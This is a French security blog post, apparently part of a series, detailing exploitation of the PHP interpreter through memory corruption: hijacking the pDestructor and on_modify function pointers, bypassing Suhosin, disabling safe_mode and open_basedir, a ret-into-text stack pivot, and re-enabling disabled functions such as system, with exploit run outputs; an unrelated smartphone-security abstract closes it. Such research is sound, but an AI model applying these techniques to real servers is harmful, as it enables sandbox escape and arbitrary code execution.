Grâce à ce que nous avons vu dans le post précédent, nous pouvons maintenant lire et écrire dans la mémoire de l'interpréteur PHP.
Nous allons utiliser cette possibilité pour différentes exploitations de PHP qui seront décrites dans la suite de ce billet. Il est donc important de lire le billet précédent pour comprendre celui-ci.
Pour la première exploitation, nous allons exploiter un pointeur sur fonction contenu dans la structure HashTable.
Cette structure sert par exemple à stocker les variables PHP de type array en interne. Parmi les informations qu'elle contient, il y a un pointeur sur fonction pDestructor qui est appelé lors de la destruction d'un élément de l'array.
Exploitation via pDestructor :
- Créer un array et retrouver sa structure HashTable en mémoire.
- Créer une variable qui contient le shellcode à exécuter.
- Retrouver l'adresse en mémoire du shellcode.
- Ecraser la valeur du pointeur pDestructor de la hashtable avec l'adresse du shellcode.
Maintenant que tout est prêt, on peut déclencher l'exploitation simplement via l'appel à unset sur un élément de l'array. L'appel à unset va provoquer un appel à la fonction interne zend_hash_destroy qui va utiliser le pointeur sur fonction pDestructor et donc appeler notre shellcode.
Il est intéressant de noter que Stefan Esser précise dans sa présentation que Suhosin rend cette exploitation impossible. En effet, PHP avec Suhosin au début de la fonction zend_hash_destroy appelle une fonction zend_hash_check_destructor qui va vérifier que les pointeurs pDestructor n'ont pas été écrasés en les comparant à une liste.
Extrait de la fonction zend_hash_check_destructor :
static void zend_hash_check_destructor(dtor_func_t pDestructor)
{
unsigned long value;
....
if (zend_hash_dprot_counter > 0) { [*] Nombre d'element dans la liste
.... [*] Parcours de la liste
if (!found) { [*] Le pointeur est bien dans la liste ?
zend_hash_dprot_end_read();
zend_suhosin_log(S_MEMORY, "possible memory corruption detected - unknown Hashtable destructor");
exit(1);
return;
}
}
zend_hash_dprot_end_read();
}
Si la variable globale zend_hash_dprot_counter est à zéro alors aucun test n'est fait.
Contrairement à ce que pense Stefan, cette protection est contournable très facilement. Il suffit de parcourir le binaire pour résoudre le symbole de cette variable globale et la mettre à 0. En plus de cette solution, nous avons développé une technique qui permet de retrouver de façon fiable l'emplacement mémoire de cette variable dans le heap.
Le shellcode étant placé dans le heap, cette exploitation présente l'inconvénient de ne pas fonctionner sur des systèmes où celui-ci n'est pas exécutable tel que Linux avec le patch Grsecurity ou encore Windows avec DEP actif.
Démonstration avec PHP 5.2.6-3ubuntu4.2 with Suhosin-Patch 0.9.6.2 :
$ php ./exploit_shellcode_dtor.php
[+] OS: Linux
[+] Auto-detection: sizeof_int=4 sizeof_long=4 sizeof_ptr=4, little-endian system
[+] Testing memory leak (arbitrary read access)
[+] Memory leak test : read OK
[+] INI safe_mode: ON
[+] INI open_basedir: /home/
[+] INI enable_dl: OFF
[+] INI disable_function: dl,exec,passthru,proc_open,proc_close,shell_exec,system
[+] Exploiting usort() ...
[+] Arrived at candy mountain ...
[+] Symbol resolution: zend_hash_dprot_counter
[+] Elf header 0x8048000
[+] DYNAMIC segment addr: 0x853d3b8
[+] DYNAMIC segment size: 0x170
[+] DT_STRTAB addr: 0x8072088
[+] DT_SYMTAB addr: 0x805b6f8
[+] Symbol found: zend_hash_dprot_counter addr: 0x8568d24
[+] Wrote fake dtor. Smells like EIP pwnage ...
$ uname -sr
Linux 2.6.28-14-generic
$
Cet exploit utilise la résolution de symboles pour retrouver zend_hash_dprot_counter. Même si la résolution des symboles dépasse le cadre de ce billet, il est intéressant de présenter une solution pour trouver l'en-tête ELF du binaire PHP.
PHP peut en effet se présenter sous la forme d'un module Apache. Il est alors impossible d'utiliser l'adresse universelle 0x8048000 valable pour tout ELF Linux x86. La solution la plus simple consiste à utiliser un pointeur dans le segment .text comme pDestructor et de descendre en mémoire page par page à la recherche de l'entête ELF.
Exploitation via ini_directives :
Un autre scénario d'exploitation est de s'attaquer aux protections PHP comme par exemple safe_mode ou open_basedir.
Pour mener cette attaque, il faut commencer par réussir à retrouver la structure interne executor_globals qui contient les informations nécessaires en créant un array contenant une variable non initialisée. Ensuite, il faut lire la Hashtable de cet array et récupérer le pointeur pDataPtr du bucket. Ce pointeur contient l'adresse de la variable uninitialized_zval de la structure executor_global. Cette structure contenant beaucoup d'éléments et étant de plus régulièrement modifiée suivant les versions de PHP, il est nécessaire de trouver des méthodes fiables pour retrouver les éléments dont nous avons besoin.
L'élément qui nous intéresse ici est le pointeur ini_directives. Il se trouve que la variable qui le précède dans la plupart des cas est la variable lambda_count. Cette dernière est incrémentée à chaque fois qu'un appel à create_function est fait, ce qui la rend facile à fingerprinter. On peut donc ainsi retrouver facilement ini_directives.
On parcourt ensuite la liste chainée ini_directives et pour chaque élément de cette liste de type HashTable, on récupère le Bucket. Le pointeur pData de chaque Bucket pointe sur une structure de type _zend_ini_entry. Cette structure contient un flag qui permet de dire si les variables de configuration ini peuvent être modifiées par le code PHP ou non. Il suffit donc de modifier ce flag pour rendre n'importe quelle variable de configuration ini directement modifiable dans le code php via la fonction ini_set.
Démonstration :
$ php exploit_ini_downgrade.php
[+] OS: Linux
[+] Auto-detection: sizeof_int=4 sizeof_long=4 sizeof_ptr=4, little-endian system
[+] Testing memory leak (arbitrary read access)
[+] Memory leak test : read OK
[+] INI safe_mode: ON
[+] INI open_basedir: /home/
[+] INI enable_dl: OFF
[+] Exploiting usort() ...
[+] executor_globals addr: 0x85688c0
[+] ini_directives addr: 0x856e3d8
[+] INI safe_mode: OFF
[+] INI open_basedir: None
[+] INI enable_dl: ON
A la fin de l'exécution de cet exploit, tout le code PHP sera exécuté sans safe_mode et sans open_basedir.
La structure _zend_ini_entry contient une autre variable intéressante : on_modify. Cette variable peut contenir un pointeur sur fonction appelé lorsque la variable est modifiée via l'appel à ini_seton_modify. Ensuite en appelant ini_set dans le code PHP, pour la bonne variable PHP, notre shellcode sera automatiquement appelé.
Cette exploitation ressemble à l'exploitation du pointeur pDestructor des hashtables mais celui-ci n'est pas sécurisé par suhosin. Cette méthode comporte toujours le même problème que l'exploitation avec pDestructor à savoir l'exécution d'un shellcode placé dans le heap.
Il est cependant possible de contourner ce type de protection en utilisant la technique de ret-into-text. Etant donné que nous n'avons pas le contrôle de la pile, nous allons devoir en émuler une dans le heap. Après sa construction, il faut détourner le pointeur de pile pour qu'elle soit utilisée.
La méthode d'exploitation est la même que ci-dessus sauf que l'on fait pointer on_modify sur des instructions telles que pop ebp, ret. L'instruction "pop ebp" place l'argument de la fonction on_modify dans le registre EBP, ici le pointeur sur notre fausse pile dans le heap. La fonction on_modify prenant plusieurs paramètres, il est possible de chaîner un autre retour dans le .text pour pouvoir assigner à ESP l'adresse de notre fausse pile. A partir de maintenant , le système utilise notre pile. Il est alors possible de chainer tous les appels que nous voulons. Pour plus de détails sur toutes ces manipulations, je vous invite à lire cet article : The advanced return-into-lib(c) exploits: PaX case study.
Démonstration :
$ php ./exploit_cmd_ret2text.php
[+] OS: Linux
[+] Auto-detection : sizeof_int=4 sizeof_long=4 sizeof_ptr=4 on a little-endian system
[+] Testing memory leak (arbitrary read access)
[+] Memory leak test : read OK
[+] Exploiting usort() ...
[+] executor_globals addr: 0x85688c0
[+] ini_directives addr: 0x856e3d8
[+] Looking for pop ebp / ret
[+] Elf header 0x8048000
[+] data segment addr: 0x8048000
[+] data segment size: 0x4e4e30
[+] opcode found, addr: 0x80985b4
[+] Symbol resolution: php_exec
[+] Elf header 0x8048000
[+] DYNAMIC segment addr: 0x853d3b8
[+] DYNAMIC segment size: 0x170
[+] DT_STRTAB addr: 0x8072088
[+] DT_SYMTAB addr: 0x805b6f8
[+] Symbol found: php_exec addr: 0x8211d70
[+] Looking for mov esp, ebp / pop ebp / ret
[+] Elf header 0x8048000
[+] data segment addr: 0x8048000
[+] data segment size: 0x4e4e30
[+] opcode found, addr: 0x8098731
[+] Looking for pop ebx / pop esi / pop edi / pop ebp / ret
[+] Elf header 0x8048000
[+] data segment addr: 0x8048000
[+] data segment size: 0x4e4e30
[+] opcode found, addr: 0x80989b8
$ uname -sr
Linux 2.6.28-14-generic
$
Activation des disable_functions :
Parmi les configurations disponibles pour durcir la sécurité de php, il existe la possibilité de supprimer des fonctionnalités de php. Par exemple on peut choisir de rendre impossible l'appel à des fonctions comme passthru ou system. Cette configuration se fait via la variable disable_functions dans le fichier de configuration php.ini. Typiquement cela sert à supprimer des fonctions comme system, passthru ou dl, pour éviter qu'une vulnérabilité autorisant l'exécution de code php ne se transforme trop facilement en exécution de shellcodes ou de commandes shell.
Pour retrouver la liste des fonctions appelables, il faut retrouver dans un premier temps la structure executor_global, telle que décrit précédemment, et dans un second temps le pointeur function_table de cette structure. La technique utilisée est identique à la technique pour retrouver ini_directives à la différence près que nous utilisons error_reporting au lieu de lambda_count comme point de repère dans la structure.
Function_table est un pointeur sur une structure HashTable qui contient une liste de Bucket. Chaque Bucket a pour pointeur pData une structure _zend_internal_function décrivant une fonction PHP. Cette structure contient un pointeur sur la fonction à appeler. Lorsque la fonction est désactivée, ce pointeur est remplacé par un pointeur sur une fonction générique affichant un message pour dire que cette fonction n'est pas activée.
Si nous souhaitons réactiver une fonction, system par exemple, il faut commencer par résoudre le symbole system pour obtenir l'emplacement mémoire de la fonction.
Ensuite il faut créer une fonction PHP mysystem prenant les mêmes paramètres que la fonction system originale. Il faut alors parcourir les structures _zend_internal_function jusqu'à retrouver celle décrivant mysystem dans laquelle il suffit de remplacer deux variables :
- type qui permet de savoir si la fonction est interne ou utilisateur
- handler le pointeur sur la fonction à appeler et qu'il faut remplacer par l'adresse de la fonction system d'origine.
Une fois ces modifications faites, il suffit d'appeler mysystem et la fonction system interne originale sera appellée.
Démonstration :
$ php ./exploit_cmd_disable.php
[+] OS: Linux
[+] Auto-detection : sizeof_int=4 sizeof_long=4 sizeof_ptr=4 on a little-endian system
[+] Testing memory leak (arbitrary read access)
[+] Memory leak test : read OK
[+] INI safe_mode: ON
[+] INI open_basedir: /home/
[+] INI enable_dl: OFF
[+] INI disable_function: dl,exec,passthru,proc_open,proc_close,shell_exec,system
[+] Exploiting usort() ...
[+] executor_globals addr: 0x85688c0
[+] Symbol resolution: zif_passthru
[+] Elf header 0x8048000
[+] DYNAMIC segment addr: 0x853d3b8
[+] DYNAMIC segment size: 0x170
[+] DT_STRTAB addr: 0x8072088
[+] DT_SYMTAB addr: 0x805b6f8
[+] Symbol found: zif_passthru addr: 0x82123d0
[+] ini_directives addr: 0x856e3d8
[+] INI safe_mode: OFF
[+] INI open_basedir: None
[+] INI enable_dl: ON
[+] INI disable_function: dl,exec,passthru,proc_open,proc_close,shell_exec,system
$ uname -sr
Linux 2.6.28-14-generic
$
Dans cet exemple d'exploitation, il est possible de voir à la fin de l'exploit que les fonctions citées sont toujours marquées comme étant désactivées. Cependant, la création d'une fonction mysystem modifiée comme expliqué précédemment permet d'appeler n'importe laquelle de ces fonctions.
Conclusion :
Pour résumer, faire reposer la solidité de ses cloisonnements uniquement sur des protections internes au moteur (safe_mode, open_basedir et disable_function) est très mauvais. Ces protections sont insuffisantes, le cloisonnement doit se poser plus haut, avec des mécanismes comme suPHP par exemple ou au niveau du système d'exploitation avec des jails ou chroot.

Le nombre de smartphones est en constante évolution. Toujours plus puissant, les systèmes qu'ils embarquent sont proches de ceux des ordinateurs de bureau. Cet article présente un état de la sécurité de ces appareils. Nous verrons tout d'abord la résistance des systèmes d'exploitation qu'ils utilisent et les attaques qu'ils ont subies. Ensuite après avoir étudié les fonctionnalités du système Windows Mobile, nous présenterons un ensemble d'attaques avancées sur ce système et les risques que représente un smartphone compromis notamment pour les réseaux avec lesquels il est interconnecté. Pour terminer nous conclurons sur les méthodes de sécurisation des mobiles.